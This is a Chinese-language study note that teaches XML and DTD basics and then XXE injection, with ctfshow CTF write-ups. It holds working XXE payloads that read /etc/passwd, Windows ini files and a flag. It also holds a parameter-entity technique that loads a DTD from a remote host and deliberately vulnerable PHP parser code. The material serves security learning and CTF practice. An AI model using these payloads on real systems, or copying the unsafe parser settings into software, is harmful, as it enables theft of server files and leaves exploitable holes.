XML

xml简介

xml被设计用来传输和存储数据

html被设计用来显示数据

什么是xml

  • 指可扩展标记语言
  • 是一种标记语言,很类似于html
  • 设计宗旨是传输数据,而非显示数据
  • 标签没有被预定义.需要自行定义标签
  • 被设计为具有自我描述性
  • 是w3c的推荐标准

xml与html的主要差异

xml不是html的替代

xml被设计为传输和存储数据,其焦点是数据的内容

html被设计来显示数据,其焦点是数据的外观

html旨在显示信息,xml旨在传输信息

xml是不作为的

xml被设计用来结构化 存储以及传输信息

<note>
<to>George</to>
<from>john</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

上面的语句仔细读一下就会发现像是john写给george的便签,存储为xml.

它仅仅是包装在xml标签中的纯粹的信息,我们需要在编写软件或者程序,才能传送接受和显示这个文档.

xml仅仅是纯文本

xml没有什么特别的,它仅仅是纯文本.有能力处理纯文本的软件都可以处理xml,不过,能够读懂xml的应用程序可以有针对性处理xml的处理xml的标签.标签的功能性意义依赖于应用程序的特性

通过xml可以发明自己的标签

上面的xml文档在xml标准中没有定义过,这些标签是由文档的创作者发明的,这是因为xml没有预定义的标签

xml把数据从html中分离

如果需要在heml文档中显示动态的数据,那么每当数据改变时将花费大量时间来编辑html,通过xml数据能够村塾在独立的xml文件汇总,这样就可以专注于使用html进行布局和显示,并确保修改底层数据不在需要对html进行任何的变动.通过几行的javascript,你就可以读取一个外部xml文件,然后更新html中的数据内容

XML树结构

xml使用简单的具有自我描述性的语法

<?xml version="1.0" encoding="ISO-885-1">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

第一行是xml声明.它定义xml的版本(1.0)和使用的编码(ISO-8859-1 = Latin-1/西欧字符集)

<node>

表示的是文档的根元素(就像:本文档是一个便签)

<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>

这四个描述里4个子元素

</note>

定义根元素

xml文档形成一种树结构

xml文档中必须包含根元素.该元素使所有其它元素的父元素

xml文档中的元素形成了一颗文档树.这颗树从根部开始,并扩展到树的最顶部

所有元素都可以拥有子元素

<root>
<child>
<subchild>.....</subchild>
</child>
</root>

父 子以及同胞等术语用于描述元素之间的关系.父元素拥有子元素.相同层级上的子元素称为同胞.所有元素均可拥有文本内容和属性

image-20220329130316921

<bookstore>
<book category="COOKING">
<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="CHILDREN">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book category="WEB">
<title lang="en">Learning XML</title>
<author>Erik T. Ray</author>
<year>2003</year>
<price>39.95</price>
</book>
</bookstore>

上面的根元素是<bookstore>.文档中的所有<book>元素都包含在<bookstore>中<book>元素中有四个子元素:<title> <author> <year> <price>

XML语法规则

xml中所有的元素都必须有关闭标签

<p>This is a paragraph
<p>This is another paragraph
<p>This is a paragraph</p>
<p>This is another paragraph</p>

xml标签对大小写敏感

<Message>这是错误的。</message>

<message>这是正确的。</message>

xml必须正确的嵌套

<b><i>This text is bold and italic</b></i>
<b><i>This text is bold and italic</i></b>

xml文档中必须有根元素

<root>
<child>
<subchild>.....</subchild>
</child>
</root>

xml的属性值必须加引号

与html类似,xml也可以拥有属性(名称/值的对).在xml中,xml的属性值必须加引号

<note date=08/08/2008>
<to>George</to>
<from>John</from>
</note>

<note date="08/08/2008">
<to>George</to>
<from>John</from>
</note>

在第一个文档中的错误的是 note 元素中的date属性没有加引号

实体引用

在xml中,一些字符拥有特殊的意义,如果你把字符”<”放在xml元素中,会发生错误,这是因为解析器会把他当成新元素的开始

<message>if salary < 1000 then</message>
<message>if salary &lt; 1000 then</message>

需要使用实体引用来代替”<”字符

在 XML 中,有 5 个预定义的实体引用:

< < 小于
> > 大于
& & 和号
&apos; 单引号
" 引号

XML 中的注释

<!-- This is a comment --> 

在 XML 中,空格会被保留

在 XML 中,文档中的空格不会被删节。

HTML:	Hello           my name is David.
输出: Hello my name is David.

XML 以 LF 存储换行

在windows应用程序中,换行通常以一对字符来存储:回车符(CR)和换行符(LF).这对字符与打字机设置新行的动作有相似之处.在unix应用程序汇总,新行以(LF)字符存储.而mac应用程序使用CR来存储新行

XMLDTD

DTD的作用是定义xml文档的结构,他使用一系列合法的元素来定义文档结构

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

DTD

DTD简介

文档类型定义(DTD)可定义合法的xml文档构建模块.它使用一系列合法的元素来定义文档的结构DTD可被成行的声明在xml文档中,也可以做为一个外部引用

内部的DOCTYPE声明

假如DTD被包含在您的xml源文件中,它应当通过下面的语法包装在一个DOCTYPE声明汇总

<!DOCTYPE 根元素 [元素声明]>

带有 DTD 的 XML 文档实例

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

以上DTD的解释

  • !DOCYPYE note(第二行)定义此文档是note类型的文档
  • !ELEMENT note(第三行)定义note元素有四个元素:”to from heading body”
  • !ELEMENT to(第四行)定义to元素为”#PCDATA”类型
  • !ELEMENT from(第五行)定义from元素为”#PCDATA”类型
  • !ELEMENT heading(第六行)定义heading元素为”#PCDATA”类型
  • !ELEMENT body(第七行)定义body元素为”#PCDATA”类型

外部文档声明

加入DTD位于xml源文件的外部,那么他应通过下面的语法被封装在一个DOCTYPE定义中

<!DOCTYPE 根元素 SYSTEM "文件名">

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

这是包含 DTD 的 “note.dtd” 文件

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

为什么使用DTD

每一个xml文件均可携带有一个有关其自身格式的描述.独立的团体可以一致的使用某个标准的DTD来交换数据.应用程序也可以使用某个标准的DTD来验证从外部接受到的数据.还可以使用DTD来验证自身的数据.

DTD - XML 构建模块

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA

CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD - 实体

一个内部实体声明

语法:

<!ENTITY 实体名称 "实体的值">

例子:

DTD 例子:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

一个外部实体声明

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

XXE是什么

介绍xxe之前,先说一下普通的xml注入,这个的利用面比较狭窄.如果有的话应该也是逻辑漏洞

image-20220328211733960

既然能插入xml代码,那么我们肯定不能善罢甘休,我们需要更多,于是就出现了xxe

xxe(xml external ectity injection)全称为xml外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?xml外部实体.如果能够注入外部实体并且成功解析的话,这就会大大扩展我们xml注入的攻击面

背景知识

xml是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所利用.它用于配置文件,文档格式(如ooxml odf pdf rss…) ,图像格式(svg exif标题)和网络协议(webdav caldav xmlrpc soap xmpp saml xacml …),它应用的如此的普遍以至于它出现任何的问题都会带来灾难性的结果

在解析外部实体的过程中,xml解析器可以根据url中指定的方案(协议)来查询各种网络协议和服务(dns,ftp http smb等)) 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新,但是,在处理外部实体时,可以针对应用程序启动许多攻击.这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或者利用各种方案的网络访问功能来操纵内部应用程序.通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文

基础知识

xml文档有自己的一个格式规范,这个格式规范是一个叫做dtd的东西控制的,它就是下面这个样子

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个dtd就定义了xml的根元素是message.然后根元素下面有一些子元素,那么xml到时候必须像下面这样写

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

其实除了在dtd中定义元素(其实就是对应xml中的标签)以外,我们还能在dtd中定义实体(对应xml标签中的内容),毕竟ml中除了能标签以外,还需要有些内容时固定的

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里定义元素为any说明接受任何元素,但是定义了一个xml的实体(实体其实可以看成一个变量,到时候我们可以再xml中通过&符号进行引用),那么xml就可以写成这样

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用&xxe对上面定义的xxe实体进行了引用,到时候输出的时候&xxe就会被”test”替换

实体分为两种,内部实体和外部实体,上面的例子就是内部实体.但是实体实际上可以从外部的dtd文件中引用,

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便

当然还有一种引用方式是使用公用dtd的方法

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和system一样的作用

我们上面已经将实体分成了两个派别(内部实体和外部实体),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)

  1. 通用实体

    用&实体名;引用的实体,它在dtd汇总定义,在xml文档中引用

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
    <updateProfile>
    <firstname>Joe</firstname>
    <lastname>&file;</lastname>
    ...
    </updateProfile>
  2. 参数实体

    1. 使用 % 实体名(这里面空格不能少)在dtd中定义,并且只能在dtd中使用%实体名;引用
    2. 只有在dtd文件中,参数实体的声明才能引用其他实体
    3. 和通用实体一样,参数实体也可以外部使用
    <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
    <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
    %an-element; %remote-dtd;

    参数实体在我们blind xxe中起到了至关重要的作用

如何利用

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

这里既然能够读取dtd那我们是不是可以将路径换一换,换成敏感文件的路径,然后读敏感文件

有回显的读取本地敏感文件(normal xxe)

这个实验的攻击场景模拟的是在服务能够接收并解析xml格式的输入并有回显的时候,我们就能输入我们自定义的xml代码,通过引用外部实体的方法,引用服务器上面的文件

在服务器上放上解析xml的php代码

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

?>
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<creds>&goodies;</creds>

image-20220328224301972

这是由于这个文件没有过什么特殊符号,

image-20220328224618048

但是如果变成这个文件就会报错

image-20220328224642941

如果有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整个字段数据解析为纯字符数据而不是标记的情况包含大量的<>&或者”只读,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是xml标记

<![CDATA[xxxxxxxx]]>

可以输入任意字符除了]]>不能嵌套,用处是玩意某个标签内容包含特殊字符或者不确定字符,我们可以用CDATA包起来

那么我们把我们的读出来的数据放在CDATA中输出就能进行绕过个,但是怎么做到,我们来分析一下

...
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

引用并不接受可能会引起xml格式混乱的字符(在xml中,有时实体内包含了一些字符,如& < > “ ‘ 等.这些均需要对其进行转义,否则会对xml解析器生成错误,我们想在引用的两边加上”<![cdata [“”]]>”但是好像没有任何语法告诉我们字符串能拼接,于是能不能使用多个实体连续引用的方法

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<!ENTITY end"]]>"]>
<creds>&goodies;&end;</creds>

image-20220329112005248

注意这里面的两个个实体都是字符串的形式,连在一起会报错,这说明我们不能在xml中进行匹配,而是需要在拼接以后在在xml中调用,那么要想在dtd中拼接,我们知道我们只有一种选择,就是使用参数实体

本地起一个服务放入xml.php

image-20220329141502004

远程利用服务上面放入eval.dtd文件

eval.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///D:/Download/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.5.149/eval.dtd">
%dtd; ]>
<roottag>&all;</roottag>

image-20220329141644415

注意这里提一个点,如果是在java中还有一个协议能够代替file协议,那就是netdoc

但是,本身别人的服务器上的xml就不是输出用的,,一般都是用于配置或者在某些极端情况利用其他漏洞能恰好实例化解析xml的类,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法(外带)

想要外带就必须能发起请求,那么什么地方能发起请求?很明显就是我们的外部实体定义的时候,其实光发起请求还不行,我们还得能够把我们的数据传出去,而我们的数据本身也是一个对外的请求,也就是说,我们需要在请求中引用另一次请求的结果,分析下来只有我们的参数实体能做到了(并且根据规范,我们必须在一个dtd文件中才能完成”请求中引用另一次请求的结果”的要求)

无回显读取本地敏感文件(没看懂)

https://xz.aliyun.com/t/3357#toc-8

web373

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-01-07 12:59:52
Last Modified by: h1xa
Last Modified time: 2021-01-07 13:36:47
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);#允许加载外部实体
$xmlfile = file_get_contents('php://input');#xml文件来源于数据流
if(isset($xmlfile)){#如果设置了
$dom = new DOMDocument();#创建一个dom对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);#加载xml实体,参数为代替实体,加载外部子集
$creds = simplexml_import_dom($dom);#把 DOM 节点转换为 SimpleXMLElement 对象。
$ctfshow = $creds->ctfshow;#取creds节点的ctfshow的值
echo $ctfshow;
}
highlight_file(__FILE__);

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<creds><ctfshow>&goodies;</ctfshow></creds>

image-20220329160007985

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///flag"> ]>
<creds><ctfshow>&goodies;</ctfshow></creds>

image-20220329160033588

web344

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-01-07 12:59:52
Last Modified by: h1xa
Last Modified time: 2021-01-07 13:36:47
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);